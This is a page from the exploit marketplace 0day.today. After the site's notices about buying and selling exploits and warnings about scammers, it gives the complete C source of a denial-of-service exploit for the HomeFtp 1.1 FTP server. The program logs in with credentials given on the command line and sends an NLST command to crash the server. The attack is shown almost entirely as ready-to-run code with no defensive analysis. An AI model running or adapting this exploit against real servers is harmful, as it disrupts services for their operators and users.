0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
HomeFtp 1.1 (NLST) Denial of Service Vulnerability
================================================== HomeFtp 1.1 (NLST) Denial of Service Vulnerability ================================================== /* HomeFtp v1.1 Denial of Service original advisory: http://kapda.ir/advisory-202.html homeftp_v1.1_xpl.c ---------------------------------------- */ #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #define POCSTR "USER %s\x0d\x0aPASS %s\x0d\x0aNLST\x0d\x0a" int header(); int usage(char *filename); int remote_connect( char* ip, unsigned short port ); int header() { printf("\n[i] KAPDA - Computer Security Science Researchers Institute\n\n"); printf("[i] Title: \tHomeFTP <= v1.1 Dos Exploit\n"); printf("[i] Discovered by: \tcvh {a] kapda.ir\n"); printf("[i] Exploit by: \tPi3cH {a] kapda.ir\n"); printf("[i] More info: \twww.kapda.ir/page-advisory.html\n\n"); return 0; } int usage(char *filename) { printf("[i] Usage: \t%s HOST PORT USERNAME PASSWORD\n",filename); printf("[i] Example: \t%s 127.0.0.1 21 anonymous none\n\n",filename); exit(0); } int remote_connect( char* ip, unsigned short port ) { int s; struct sockaddr_in remote_addr; struct hostent* host_addr; memset ( &remote_addr, 0x0, sizeof ( remote_addr ) ); if ( ( host_addr = gethostbyname ( ip ) ) == NULL ) { printf ( "[e] Cannot resolve \"%s\"\n", ip ); exit ( 1 ); } remote_addr.sin_family = AF_INET; remote_addr.sin_port = htons ( port ); remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr ); if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 ) { printf ( "[e] Socket failed!\n" ); exit(1); } if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 ) { printf ( "[e] Failed connecting!\n" ); exit(1); } return ( s ); } int main(int argc, char *argv[]) { int s; char *request; header(); if( (argc < 5) ) usage(argv[0]); request = (char *) malloc(1024); printf("[r] Connecting to remote host\n"); s = remote_connect(argv[1],atoi(argv[2])); sleep(1); printf("[r] Creating buffer\n"); sprintf(request,POCSTR,argv[3],argv[4]); printf("[r] Sending %d bytes of DOS buffer\n",strlen(request)); if ( send ( s, request, strlen (request), 0) <= 0 ) { printf("[e] Failed to send buffer\n"); close(s); exit(1); } sleep(1); printf("[s] Exploit Done!\n"); close(s); free(request); request = NULL; return 0; } # 0day.today [2024-12-24] #